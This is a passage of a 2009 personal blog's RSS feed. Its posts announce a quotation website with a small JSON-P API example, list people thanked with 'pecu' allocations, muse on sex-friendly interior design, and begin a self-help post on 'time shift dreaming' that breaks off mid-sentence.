<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:media="http://search.yahoo.com/mrss/" xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" xmlns:creativeCommons="http://backend.userland.com/creativeCommonsRssModule" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">
<channel>
  <title>Asktav</title>
  <link>http://www.asktav.com</link>
  <description>A Blog by Tav</description>
  <language>en</language>
  <lastBuildDate>Tue, 14 Jul 2009 12:46:25 GMT</lastBuildDate>
  <generator>Tav RSS Generator</generator>
  <media:copyright>Public Domain</media:copyright><media:thumbnail url="http://pleinair.googlecode.com/svn/trunk/documentation/articles/static/aaken/aaken.png" /><media:category scheme="http://www.itunes.com/dtds/podcast-1.0.dtd">Business</media:category><media:category scheme="http://www.itunes.com/dtds/podcast-1.0.dtd">Technology</media:category><media:category scheme="http://www.itunes.com/dtds/podcast-1.0.dtd">Society &amp; Culture</media:category><itunes:author>tav</itunes:author><itunes:explicit>no</itunes:explicit><itunes:image href="http://pleinair.googlecode.com/svn/trunk/documentation/articles/static/aaken/aaken.png" /><itunes:subtitle>A Blog by Tav</itunes:subtitle><itunes:category text="Business" /><itunes:category text="Technology" /><itunes:category text="Society &amp; Culture" /><creativeCommons:license>http://creativecommons.org/licenses/by/2.0/</creativeCommons:license><image><link>http://pleinair.googlecode.com/svn/trunk/documentation/asktav/articles/index</link><url>http://pleinair.googlecode.com/svn/trunk/documentation/asktav/static/gfx/aaken.png</url><title>Aaken</title></image><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" href="http://feeds.feedburner.com/asktav" type="application/rss+xml" /><feedburner:emailServiceId>asktav</feedburner:emailServiceId><feedburner:feedburnerHostname>http://feedburner.google.com</feedburner:feedburnerHostname><feedburner:feedFlare href="http://add.my.yahoo.com/rss?url=http%3A%2F%2Ffeeds.feedburner.com%2Fasktav" src="http://us.i1.yimg.com/us.yimg.com/i/us/my/addtomyyahoo4.gif">Subscribe with My Yahoo!</feedburner:feedFlare><feedburner:feedFlare href="http://www.newsgator.com/ngs/subscriber/subext.aspx?url=http%3A%2F%2Ffeeds.feedburner.com%2Fasktav" src="http://www.newsgator.com/images/ngsub1.gif">Subscribe with NewsGator</feedburner:feedFlare><feedburner:feedFlare href="http://feeds.my.aol.com/add.jsp?url=http%3A%2F%2Ffeeds.feedburner.com%2Fasktav" src="http://o.aolcdn.com/favorites.my.aol.com/webmaster/ffclient/webroot/locale/en-US/images/myAOLButtonSmall.gif">Subscribe with My AOL</feedburner:feedFlare><feedburner:feedFlare href="http://www.bloglines.com/sub/http://feeds.feedburner.com/asktav" src="http://www.bloglines.com/images/sub_modern11.gif">Subscribe with Bloglines</feedburner:feedFlare><feedburner:feedFlare href="http://www.netvibes.com/subscribe.php?url=http%3A%2F%2Ffeeds.feedburner.com%2Fasktav" src="http://www.netvibes.com/img/add2netvibes.gif">Subscribe with Netvibes</feedburner:feedFlare><feedburner:feedFlare href="http://fusion.google.com/add?feedurl=http%3A%2F%2Ffeeds.feedburner.com%2Fasktav" src="http://buttons.googlesyndication.com/fusion/add.gif">Subscribe with Google</feedburner:feedFlare><feedburner:feedFlare href="http://www.pageflakes.com/subscribe.aspx?url=http%3A%2F%2Ffeeds.feedburner.com%2Fasktav" src="http://www.pageflakes.com/ImageFile.ashx?instanceId=Static_4&amp;fileName=ATP_blu_91x17.gif">Subscribe with Pageflakes</feedburner:feedFlare><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com" /><item>
    <title>Quotessence</title>
    <guid isPermaLink="false">http://www.asktav.com/quotessence.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/dTq6ksnfIPE/quotessence.html</link>
    <pubDate>Mon, 16 Mar 2009 06:40:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>I'm pleased to announce the initial launch of Mamading Ceesay's <a class="reference external" href="http://quotessence.agoraworx.com">Quotessence</a>. Check it out!</p>
<div class="float-right"><a href="http://quotessence.agoraworx.com"><img
  src="http://quotessence.agoraworx.com/static/images/logo.png"
  alt="Quotessence Logo" /></a>
</div><p>As someone who loved readings quotations as a kid, I was super excited when
Mamading told me about his idea a few days ago.</p>
<p>There is a lot of wisdom in quotes. A lot for all of us to learn from.
Unfortunately, the websites <a class="reference external" href="http://www.quoteland.com/">I've seen</a> dedicated
to quotations are way too cluttered for my tastes.</p>
<p>In contrast, the initial version of Quotessence offers something much cleaner.
Just <a class="reference external" href="http://quotessence.agoraworx.com">go to the website</a> and you are
presented with a single quote to take away. You can even limit it to quotes from
just a single author, e.g. <em>Epigrams in Programming</em> by <a class="reference external" href="http://quotessence.agoraworx.com/perlis">Alan Perlis</a>.</p>
<p>Quotessence is showing a lot of promise for a first release. And the upcoming
features sound quite nice too:</p>
<ul class="simple">
<li>Twitter integration: follow <a class="reference external" href="http://twitter.com/Quotessence">&#64;Quotessence</a>
for regular intakes of words from the wise.</li>
<li>Unix fortune files support.</li>
<li>Addition of a lot more authors/quotations.</li>
</ul>
<p>For the programmers there's even a <a class="reference external" href="http://quotessence.agoraworx.com/api/">JSON-based API</a>. You can limit it to an individual
author, e.g. <a class="reference external" href="http://quotessence.agoraworx.com/api/perlis">http://quotessence.agoraworx.com/api/perlis</a> and even specify an
optional <tt class="docutils literal"><span class="pre">callback</span></tt> parameter for JSON-P usage.</p>
<p>For example, to get the following random quote from the eminently quotable
Mamading:</p>
<style type="text/css">
  #epigraph {
    margin: 22px 40px;
    color:#575757;
    padding: 0 50px;
    background: transparent url("http://tav.github.com/static/gfx/blockquote.gif") no-repeat 0 0;
  }
  #epigraph-attribution {
    text-align: right;
  }
</style>
<script type="text/javascript">
$.getJSON(
    "http://quotessence.agoraworx.com/api/mamading?callback=?",
    function (data) {
        $('#epigraph-content').text(data.quote);
        $('<a />').attr(
          'href', 'http://quotessence.agoraworx.com/' + data.deck
        ).text(data.author).appendTo('#epigraph-attribution');
    }
);
</script>
<div id="epigraph">
  <div id="epigraph-content"></div>
  <div id="epigraph-attribution">&mdash; </div>
</div><p>Just do:</p>
<blockquote>
<div class="syntax"><pre><span class="nx">$</span><span class="p">.</span><span class="nx">getJSON</span><span class="p">(</span><br/>    <span class="s2">&quot;http://quotessence.agoraworx.com/api/mamading?callback=?&quot;</span><span class="o">,</span><br/>    <span class="kd">function</span> <span class="p">(</span><span class="nx">data</span><span class="p">)</span> <span class="p">{</span><br/>        <span class="nx">$</span><span class="p">(</span><span class="s1">&#39;#epigraph-content&#39;</span><span class="p">).</span><span class="nx">text</span><span class="p">(</span><span class="nx">data</span><span class="p">.</span><span class="nx">quote</span><span class="p">);</span><br/>        <span class="nx">$</span><span class="p">(</span><span class="s1">&#39;&lt;a /&gt;&#39;</span><span class="p">).</span><span class="nx">attr</span><span class="p">(</span><br/>          <span class="s1">&#39;href&#39;</span><span class="o">,</span> <span class="s1">&#39;http://quotessence.agoraworx.com/&#39;</span> <span class="o">+</span> <span class="nx">data</span><span class="p">.</span><span class="nx">deck</span><br/>        <span class="p">).</span><span class="nx">text</span><span class="p">(</span><span class="nx">data</span><span class="p">.</span><span class="nx">author</span><span class="p">).</span><span class="nx">appendTo</span><span class="p">(</span><span class="s1">&#39;#epigraph-attribution&#39;</span><span class="p">);</span><br/>    <span class="p">}</span><br/><span class="p">);</span><br/></pre></div>
</blockquote>
<p>All in all this is a great start! And I'd be even more excited if Quotessence
would allow for quotes on Twitter to be captured easily &mdash; sort of like a
<a class="reference external" href="http://www.bash.org">bash.org</a> for Twitter&#8230;</p>
<p>Check out <a class="reference external" href="http://quotessence.agoraworx.com">Quotessence</a> and hassle Mamading
on Twitter <a class="reference external" href="http://twitter.com/evangineer">&#64;evangineer</a> with your
thoughts/praise ;p</p>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><feedburner:origLink>http://www.asktav.com/quotessence.html</feedburner:origLink></item><item>
    <title>Pecu Allocations by Tav</title>
    <guid isPermaLink="false">http://www.asktav.com/pecu-allocations-by-tav.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/PPVUPVszk4A/pecu-allocations-by-tav.html</link>
    <pubDate>Sun, 15 Mar 2009 10:14:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<img alt="http://tav.github.com/static/gfx/aaken.png" class="float-right" src="http://tav.github.com/static/gfx/aaken.png" />
<p>Hundreds of people have &mdash; knowingly or not &mdash; had a <em>direct</em> impact on my
work/vision. Their belief, inspiration, energy, encouragement, suggestions,
criticisms, support (both emotional and financial), tasty treats and hard work
has been phenomenal!</p>
<p>I'd like to reward them with some life-time ¤ pecu allocations.</p>
<p>Since I'm not making any pecu payouts at the moment, they're not worth much yet
&mdash; but I hope one day that those who've helped me will feel the gratitude =)</p>
<p>See below for the full list of pecu allocations.</p>
<p>The following individuals have put in a lot to make my vision a reality and I'd
like to reward them with <strong>¤200,000</strong> each:</p>
<ul class="double-column simple">
<li>Alex Tomkins</li>
<li>Brian Deegan</li>
<li>Chris Macrae</li>
<li>Cris Pearson</li>
<li>Daniel Biddle</li>
<li>Danny Bruder</li>
<li>David Pinto</li>
<li>Inderpaul Johar</li>
<li>James Arthur</li>
<li>Jeffry Archambeault</li>
<li>John McCane-Whitney</li>
<li>Liliana Avrushin</li>
<li>Luke Graybill</li>
<li>Mamading Ceesay</li>
<li>Martyn Hurt</li>
<li>Matthieu Rey-Grange</li>
<li>Mathew Ryden</li>
<li>Nadine Gahr</li>
<li>Nathan Staab</li>
<li>Narmatha Murugananda</li>
<li>Navaratnam Para</li>
<li>Nicholas Midgley</li>
<li>Øyvind Selbek</li>
<li>Sofia Bustamante</li>
<li>Sean B. Palmer</li>
<li>Stefan Plantikow</li>
<li>Tim Jenks</li>
<li>Tiziano Cirillo</li>
<li>Tom Salfield</li>
<li>Yan Minagawa</li>
</ul>
<p>The following beautiful creatures have helped at various critical junctures or
laid key foundations. For this they get <strong>¤20,000</strong> each:</p>
<ul class="double-column simple">
<li>Aaron Swartz</li>
<li>Adam Langley</li>
<li>Ade Thomas</li>
<li>Adnan Hadzi</li>
<li>Alex Greiner</li>
<li>Alex Pappajohn</li>
<li>Allen Short</li>
<li>Andreas Dietrich</li>
<li>Andrew Kenneth Milton</li>
<li>Anne Biggs</li>
<li>Anne Helene Wirstad</li>
<li>Anette Hvolbæk</li>
<li>Bryce Wilcox-O'Hearn</li>
<li>Charles Goodier</li>
<li>Chris Wood</li>
<li>Claire Colvin</li>
<li>David Bovill</li>
<li>Derek Richards</li>
<li>Eric Hopper</li>
<li>Eric Wahlforss</li>
<li>Erik Möller</li>
<li>Erol Ziya</li>
<li>Ephraim Spiro</li>
<li>Fenton Whelan</li>
<li>Fergus Doyle</li>
<li>Gary Alexander</li>
<li>Gloria Charles</li>
<li>Guido van Rossum</li>
<li>Guilhem Buzenet</li>
<li>Itamar Shtull-Trauring</li>
<li>Jacob Everist</li>
<li>Jill Lundquist</li>
<li>Jim Carrico</li>
<li>Jo Walsh</li>
<li>Joe Short</li>
<li>Joerg Baach</li>
<li>John Hurliman</li>
<li>Josef Davies-Coates</li>
<li>Henri Cattan</li>
<li>Henry Hicks</li>
<li>Ka Ho Chan</li>
<li>Karin Kylander</li>
<li>Karina Arthur</li>
<li>Katie Miller</li>
<li>Kisiyane Roberts</li>
<li>Laura Tov</li>
<li>Lesley Williams</li>
<li>Lucie Rey-Grange</li>
<li>Mark Poole</li>
<li>Maria Glauser</li>
<li>Maria X</li>
<li>Matthew Sellwood</li>
<li>Matthew Skinner</li>
<li>Mayra Graybill</li>
<li>Mia Bittar</li>
<li>Mohan Selladurai</li>
<li>Neythal (Sri Lanka)</li>
<li>Nolan Darilek</li>
<li>Olga Zueva</li>
<li>Paul Böhm</li>
<li>Phillip J. Eby</li>
<li>Pierre-Antoine Tetard</li>
<li>Ricky Cousins</li>
<li>Saritah</li>
<li>Saul Albert</li>
<li>Shalabh Chaturvedi</li>
<li>Simeon Scott</li>
<li>Simon Michael</li>
<li>Simon Fox</li>
<li>Simon Reynolds</li>
<li>Stephan Karpischek</li>
<li>Steve Alexander</li>
<li>Suhanya Babu</li>
<li>Tavin Cole</li>
<li>Thamilarasi Siva</li>
<li>Tim Berners-Lee</li>
<li>Tom Owen-Smith</li>
<li>Vanda Petanjek</li>
<li>Xiao Xuan Guo</li>
</ul>
<p>These lovely supporters get <strong>¤2,000</strong> each:</p>
<ul class="double-column simple">
<li>Adam Burns</li>
<li>Adam Karpierz (Poland)</li>
<li>Adam Perfect</li>
<li>Adam Wern</li>
<li>Adir Tov</li>
<li>Agathe Pouget-Abadie</li>
<li>Al Tepper</li>
<li>Alan Wagenberg</li>
<li>Alex Bustamante</li>
<li>Alexander Wait (USA)</li>
<li>Alice Fung</li>
<li>Ana Sandra Ruiz Entrecanales</li>
<li>Andreas Kotes</li>
<li>Andreas Schwarz</li>
<li>Andrius Kulikauskas</li>
<li>Andy Dawkins</li>
<li>Andy McKay</li>
<li>Andrew M. Kuchling</li>
<li>Andrew McCormick</li>
<li>Angela Beesley</li>
<li>Anna Gordon-Walker</li>
<li>Anna Rothkopf</li>
<li>Annalisa Fagan</li>
<li>Anne Doyle</li>
<li>Anselm Hook</li>
<li>Ante Pavlov</li>
<li>Arani Siva</li>
<li>Ashley Siple</li>
<li>Auro Tom Foxtrot</li>
<li>Azra Gül</li>
<li>Beatrice Wessolowski</li>
<li>Ben Pirt</li>
<li>Ben Swartz</li>
<li>Benjamin Geer</li>
<li>Benny &ldquo;Curus&rdquo; Amorsen</li>
<li>Bernard Lietaer</li>
<li>Blake Ludwig</li>
<li>Boian Rodriguez Nikiforov</li>
<li>Bram Cohen</li>
<li>Brandon Wiley</li>
<li>Bree Morrison</li>
<li>Brenton Bills</li>
<li>Brian Coughlan</li>
<li>Briony &ldquo;Misadventure&rdquo; (UK)</li>
<li>Callum Beith</li>
<li>Candie Duncan</li>
<li>Carl Ballard Swanson</li>
<li>Chai Mason</li>
<li>Chris Cook</li>
<li>Chris Davis</li>
<li>Chris Heaton</li>
<li>Chris McDonough</li>
<li>Chris Withers</li>
<li>Christoffer Hvolbaek</li>
<li>Christopher Satterthwaite</li>
<li>Christopher Schmidt</li>
<li>Clara Maguire</li>
<li>Cory Doctorow</li>
<li>Craig Hubley</li>
<li>Cyndi Rhoades</li>
<li>Damiano Vukotić</li>
<li>Dan Brickley</li>
<li>Daniel Harris</li>
<li>Daniel Magnoff</li>
<li>Dante-Gabryell Monson</li>
<li>David Bausola</li>
<li>David Cozens</li>
<li>David Goodger</li>
<li>David Mertz</li>
<li>David Midgley</li>
<li>David Mills</li>
<li>David Saxby</li>
<li>Darren Platt</li>
<li>Debra Bourne (UK)</li>
<li>Dharushana Muthulingam</li>
<li>Dermot ? (UK)</li>
<li>Dimitrius Savvaidis</li>
<li>Dominik Webb</li>
<li>Donatella Bernstein</li>
<li>Dymitri Kleine</li>
<li>Earle Martin</li>
<li>Edward Saperia</li>
<li>Eléonore De Prunelé</li>
<li>Elisabet Sahtouris</li>
<li>Elkin Gordon Atwell</li>
<li>Elmar Geese</li>
<li>Emma Wigley</li>
<li>Emmanuel Baidoo</li>
<li>Erik Stewart</li>
<li>Fabian Kyrielis</li>
<li>Farhan Rehman</li>
<li>Femi Longe</li>
<li>Felicity Wood</li>
<li>Felix Iskwei</li>
<li>Florence David</li>
<li>Francesca Cerletti (UK)</li>
<li>Francesca Romana Giordano</li>
<li>Gabe Wachob</li>
<li>Gabrielle Hamm</li>
<li>Gareth Strangemore-Jones</li>
<li>Gary Poster</li>
<li>Gaurav Pophaly</li>
<li>Gavin Starks</li>
<li>Gemma Youlia Dillon</li>
<li>Geoff Jones</li>
<li>Geoffry Arias</li>
<li>George Nicholaides</li>
<li>Giles Mason</li>
<li>Glyph Lefkowitz</li>
<li>Gordon Mohr</li>
<li>Grant Stapleton</li>
<li>Greg Timms</li>
<li>Gregor J. Rothfuss</li>
<li>Guy Kawasaki</li>
<li>Hannah Harris</li>
<li>Harriet Harris</li>
<li>Heather Wilkinson</li>
<li>Helen Aldritch</li>
<li>Henry Bowen</li>
<li>Holly Lloyd</li>
<li>Holly Porter</li>
<li>Howard Rheingold</li>
<li>Ian Clarke</li>
<li>Ian Hogarth</li>
<li>Ida Norheim-Hagtun</li>
<li>Igor Tojcic</li>
<li>Ilze Black</li>
<li>Inge Rochette</li>
<li>James Binns</li>
<li>James Cox (UK)</li>
<li>James Howison (Australia)</li>
<li>James Hurrell</li>
<li>James McKay (Switzerland)</li>
<li>James Stevens</li>
<li>James Sutherland</li>
<li>James Wallace</li>
<li>Jan-Klaas Kollhof</li>
<li>Jane Moyses</li>
<li>Javier Candeira</li>
<li>Jeannie Cool</li>
<li>Jeremie Miller</li>
<li>Jessica Bridges-Palmer</li>
<li>Jim Ley</li>
<li>Jimmy Wales</li>
<li>Joanna O'Donnell</li>
<li>Joe Geldart (UK)</li>
<li>Joey DeVilla</li>
<li>John Bywater</li>
<li>John Cassidy</li>
<li>John Lea</li>
<li>John &ldquo;Sayke&rdquo; ?</li>
<li>Joi Ito</li>
<li>Jon Bootland</li>
<li>Jonathan Robinson</li>
<li>Joni Davis ?</li>
<li>Jose Esquer</li>
<li>Joseph O'Kelly (UK)</li>
<li>Joy Green</li>
<li>Juan Pablo Rico</li>
<li>Jubin Zawar</li>
<li>Judith Martin</li>
<li>Julia Forster</li>
<li>Jurgen Braam</li>
<li>Justin O’Shaughnessy (UK)</li>
<li>Ka-Ping Yee</li>
<li>Kapil Thangavelu</li>
<li>Karen Hessels</li>
<li>Katerina ?</li>
<li>Katja Strøm Cappelen</li>
<li>Kath Short</li>
<li>Katie Keegan</li>
<li>Katie Prescott</li>
<li>Katy Marks</li>
<li>Kelly Teamey</li>
<li>Ken Manheimer</li>
<li>Kevin Hemenway</li>
<li>Kevin Marks</li>
<li>Kiran Jonnalagadda</li>
<li>Kiyoto Kanda</li>
<li>Lanchanie Dias Gunawardena</li>
<li>Laura Scheffler</li>
<li>Lauri Love</li>
<li>Leon Rocha</li>
<li>Lena Nalbach</li>
<li>Leslie Vuchot</li>
<li>Lewis Hart</li>
<li>Libby Miller</li>
<li>Lion Kimbro</li>
<li>Lisa Colaco</li>
<li>Lord Kimo</li>
<li>Lottie Child</li>
<li>Lucas Gonzalez</li>
<li>Luke Francl</li>
<li>Luke Kenneth Casson Leighton</li>
<li>Luke Nicholson</li>
<li>Lynton Currill Kim-Wai Pepper</li>
<li>Magnolia Slimm</li>
<li>Manuel Sauer</li>
<li>Maor Bar-Ziv</li>
<li>Marco Herry</li>
<li>Mark Brown</li>
<li>Mark Chaplin</li>
<li>Mark Hodge</li>
<li>Mark S. Miller</li>
<li>Markus Quarta</li>
<li>Marguerite Smith</li>
<li>Marshall Burns</li>
<li>Martin Peck</li>
<li>Mary Fee</li>
<li>Matt Cooperrider</li>
<li>Matthew Devney</li>
<li>Mattis Manzel</li>
<li>Mayra Vivo Torres</li>
<li>Meghan Benton</li>
<li>Meera Shah</li>
<li>Menka Parekh</li>
<li>Michael Linton</li>
<li>Michael Sparks</li>
<li>Michel Bauwens</li>
<li>Mike Linksvayer</li>
<li>Mikey Weinkove</li>
<li>Mitchell Jacobs</li>
<li>Molly Webb</li>
<li>Moraan Gilad</li>
<li>Mostofa Zaman</li>
<li>Navindu Katugampola</li>
<li>Nathalie Follen</li>
<li>Nick Hart-Williams</li>
<li>Nick Ierodiaconou</li>
<li>Nick Szabo</li>
<li>Nicolas David</li>
<li>Niels Boeing (Germany)</li>
<li>Nishant Shah</li>
<li>Noa Harvey</li>
<li>Oliver Morrison</li>
<li>Oliver Sylvester-Bradley</li>
<li>Pamela McLean</li>
<li>Paola Desiderio</li>
<li>Paolo &ldquo;xerox&rdquo; Martini (UK)</li>
<li>Pascale Scheurer</li>
<li>Patrick Andrews</li>
<li>Patrick Yiu</li>
<li>Paul Everitt</li>
<li>Paul Harrison</li>
<li>Paul Mutton (UK)</li>
<li>Paul Pesach</li>
<li>Paul Robinett</li>
<li>Peri Urban</li>
<li>Pete Brownwell</li>
<li>Petit-Pigeard Clotilde</li>
<li>Phil G</li>
<li>Phil Harris</li>
<li>Piccia Neri</li>
<li>Pietro Speroni di Fenizio</li>
<li>R. David Murray</li>
<li>Rama Gheerawo</li>
<li>Raph Levien</li>
<li>Rasmacone Boothe</li>
<li>Rasmus Tenbergen</li>
<li>Rastko ?</li>
<li>Ray Murray</li>
<li>Raymond Hettinger</li>
<li>Rayhan Omar</li>
<li>Rebecca Harding</li>
<li>Reem Martin</li>
<li>Riccarda Zezza</li>
<li>Rob Lord</li>
<li>Robert De Souza</li>
<li>Robert Kaye</li>
<li>Robert Knowles</li>
<li>Robin Upton</li>
<li>Rodney Shakespeare</li>
<li>Rohit Khare</li>
<li>Roman Nosov</li>
<li>Ricardo Niederberger Cabral</li>
<li>Richard Ford</li>
<li>Richard Nelson</li>
<li>Richard &ldquo;coldfyre&rdquo; Nicholas (USA)</li>
<li>Roger Dingledine</li>
<li>Romek Szczesniak</li>
<li>Ross Evans (UK)</li>
<li>Rufus Pollock</li>
<li>Salim Fadhley (UK)</li>
<li>Salim Virani</li>
<li>Sam Brown</li>
<li>Sam Geall</li>
<li>Sam Joseph</li>
<li>Sara Kiran</li>
<li>Selas Mene</li>
<li>Seger Céline</li>
<li>Servane Mouazan</li>
<li>Shahid Choudhry</li>
<li>Shane Hughes</li>
<li>Simon Bartlet</li>
<li>Simon Persoff</li>
<li>Simon Rawles</li>
<li>Sonia Ali</li>
<li>Sophie ? (Austria)</li>
<li>Sophie Le Barbier</li>
<li>Stan Rey-Grange</li>
<li>Stefan Baker</li>
<li>Steffi Dayalan</li>
<li>Stella Boeva</li>
<li>Stephen Wilmot</li>
<li>Steve Jenson</li>
<li>Steve Peake</li>
<li>Steven Starr</li>
<li>Su Nandy</li>
<li>Suw Charman</li>
<li>Sunir Shah</li>
<li>Sym Von LynX</li>
<li>Tamsin Lejeune</li>
<li>Tanis Taylor</li>
<li>Tansy E Huws</li>
<li>Tess Ashwin</li>
<li>Tim Wacker (USA)</li>
<li>Tom D. Harry (UK)</li>
<li>Tom Heiser</li>
<li>Tom Longson</li>
<li>Tom Williams</li>
<li>Tommy Hutchinson</li>
<li>Toni Prug</li>
<li>Toni Sola</li>
<li>Tony Cook</li>
<li>Tyler Eaves</li>
<li>Ushani Suresh</li>
<li>Veeral ?</li>
<li>William Wardlaw-Rogers</li>
<li>Wayne Siron</li>
<li>Wes Felter</li>
<li>Wybo Wiersma</li>
<li>Zoe Young</li>
</ul>
<p>And, finally, whilst I'm not currently making any pecu allocations to them, I
feel deeply indebted to these visionaries, musicians, coders and writers:</p>
<ul class="double-column simple">
<li>A. R. Rahman</li>
<li>Alan Kay</li>
<li>Asian Dub Foundation</li>
<li>Au Revoir Simone</li>
<li>Bruce Sterling</li>
<li>Buckminster Fuller (passed away)</li>
<li>Daft Punk</li>
<li>David Lynch</li>
<li>Douglas Engelbart</li>
<li>Fernando Perez</li>
<li>India Arie</li>
<li>Jeff Buckley (passed away)</li>
<li>Kim Stanley Robinson</li>
<li>Lawrence Lessig</li>
<li>M.I.A.</li>
<li>Mahatma Gandhi (passed away)</li>
<li>Manu Chao</li>
<li>Marc Stiegler</li>
<li>Mark Pilgrim</li>
<li>Marlena Shaw</li>
<li>Massive Attack</li>
<li>Michael Franti</li>
<li>Muhammad Yunus</li>
<li>Neal Stephenson</li>
<li>Nouvelle Vague</li>
<li>P.M.</li>
<li>Paul Graham</li>
<li>Peter Norvig</li>
<li>Portishead</li>
<li>Ray Charles (passed away)</li>
<li>Ray Ozzie</li>
<li>Richard P. Gabriel</li>
<li>Tanya Stephens</li>
<li>Ted Nelson</li>
<li>Tim Peters</li>
<li>Vannevar Bush (passed away)</li>
<li>Vint Cerf</li>
</ul>
<p>Thank you all!</p>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><feedburner:origLink>http://www.asktav.com/pecu-allocations-by-tav.html</feedburner:origLink></item><item>
    <title>Needed: Better Interior Design for Sex</title>
    <guid isPermaLink="false">http://www.asktav.com/needed-better-interior-design-for-sex.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/EyWqO13JgL8/needed-better-interior-design-for-sex.html</link>
    <pubDate>Sat, 14 Mar 2009 14:57:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>Given the importance of sex in our lives, it's surprising how little interior
design facilitates it. This is a call to all pioneering designers out there. You
have a market of billions who are being poorly catered for.</p>
<p>Start designing today!</p>
<div class="center">
  <a href="http://xkcd.com/335/"><img
    src="http://release.plexnet.org/gfx/tav.blog/xkcd-mattress.png"
    alt="XKCD Mattress Comic Strip" /></a><br />
  <div class="image-caption">by <a href="http://xkcd.com/335/">xkcd</a></div>
</div><p>It is essential that all designs serve multiple purposes. That is, it should not
be obvious that they are for sex. That is just tacky. Having a <a class="reference external" href="http://www.loveswing.com/">Love Swing</a> in your living room is a sure way to give your
guests the creeps!</p>
<p>Instead, check out the <a class="reference external" href="http://www.tantrachair.com/chair.htm">Tantra Chair</a>
(Warning: NSFW). This classy eco-friendly fuck chair could easily blend in as
part of the regular living room furniture. Lovers can be comfortable. Guests
have a nice seat =)</p>
<p>Variation is important to a healthy sex life. And the physical elements in our
homes should be designed to facilitate this! Otherwise the tendency is to fall
back on the same old positions/routines and that is just painful!!</p>
<p>Take the bathroom as an example. Sex whilst showering together is great fun! Yet
most houses have poorly designed bathrooms/showers in this regard. You have to
perform some acrobatics to get the heights and angles right.</p>
<p>So many good moments are lost because the design wasn't good enough to help make
it happen. But if enterprising designers would work at this, it would make for a
better world. Not least, it would open the doorways of imagination to even more
possibilities than what we have today!</p>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><feedburner:origLink>http://www.asktav.com/needed-better-interior-design-for-sex.html</feedburner:origLink></item><item>
    <title>Top Life Tips: #10 Time Shift Dreaming</title>
    <guid isPermaLink="false">http://www.asktav.com/top-life-tips-time-shift-dreaming.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/WOUAd7igxaE/top-life-tips-time-shift-dreaming.html</link>
    <pubDate>Fri, 13 Mar 2009 00:10:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>This is the first in a series of articles in which I'll share methods that I've
been using for a happy and productive life.</p>
<div class="float-right">
  <a href="http://www.flickr.com/photos/pensiero/1211074535/"><img
       src="http://farm2.static.flickr.com/1249/1211074535_6e11519a88.jpg"
       alt="Dream of Prometheus" /></a><br />
  <div class="image-caption">by <a
       href="http://www.flickr.com/photos/pensiero/1211074535/">Pensiero</a></div>
</div><p><em>Tip 10: Time Shift Dreaming</em></p>
<p>We spend a significant amount of time sleeping. It's important for many things
&mdash; not least <a class="reference external" href="http://www.sharpbrains.com/blog/2008/03/24/sleep-tetris-memory-and-the-brain/">memory consolidation</a>.</p>
<p>But you can take advantage of this time to improve youself:</p>
<ul class="simple">
<li>Come up with creative solutions</li>
<li>Learn new things</li>
<li>Resolve emotional hangups</li>
</ul>
<p>How? Using a methodology that I call &ldquo;Time Shift Dreaming&rdquo;.</p>
<p>I discovered this method rather accidentally when I was about 6 years old. My
parents had told me that the spirit of our ancestors were always watching over
us &mdash; and being a gullible child, I'd believed them.</p>
<p>And one day, I did something which I wasn't proud of. And fearing the wrath of
these all knowing spirits, I tried to figure out how to <a class="reference external" href="http://www.time.com/time/magazine/article/0,9171,972934,00.html">go back in time</a>.</p>
<p>For days after, I sat around day dreaming &mdash; replaying the events of the past
but imagining how I would have reacted differently.</p>
<p>The guilt passed and these flights of fancy became a regular habit. I fancied
myself a Lord of Time and would &ldquo;jump&rdquo; into different timelines/universes and
explore alternative realities.</p>
<p>But there weren't enough hours in a day for these fantasies, so I started
setting up scenarios just before I would drift off to sleep:</p>
<ul class="simple">
<li>Choose a point in time to jump to &mdash; in the past or future</li>
<li>Define my reason for being there</li>
<li>Start exploring the new &ldquo;reality&rdquo; as I gradually fell asleep</li>
</ul>
<p>This is what I now call time shift dreaming.</p>
<p>I spent most of my youth in these fantasies &mdash; both awake and asleep. But
somehow, despite not spending much time reading my textbooks &mdash; I'd just skim
them for an overview &mdash; I seemed to be excelling at my studies.</p>
<p>This was always a puzzle to me &mdash; how did I know things which I had't studied?
Instead of actually studying the damned texts, I would be fantasising about what
I would be doing in the future <em>with</em> the knowledge I would have by studying the
texts.</p>
<p>Years later, <a class="reference external" href="http://twitter.com/evangineer">Mamading Ceesay</a> would have an
answer for me. He postulates that by skimming the texts and then exploring
scenarios related to their content in my dreams, I was somehow actually
<em>reading</em> the texts!!</p>
<p>Let me break that one down. We have a relatively high level of bandwidth for
taking in information. The problem is in the processing of it. It takes time to
actually understand the content. But what if we offload this to dream time?</p>
<p>If we trust that our pre-conscious mind will somehow remember every page we look
at &mdash; no matter how briefly &mdash; then we can rely on it to process the information
for us. All we need to do is to give it focus &mdash; which is achieved by doing the
scenario setup for the dream &mdash; tada!!</p>
<p>It seems that in my dreams I was doing something similar to those in the <a class="reference external" href="http://serendip.brynmawr.edu/exchange/node/2317">famous
basketball experiment</a>. And
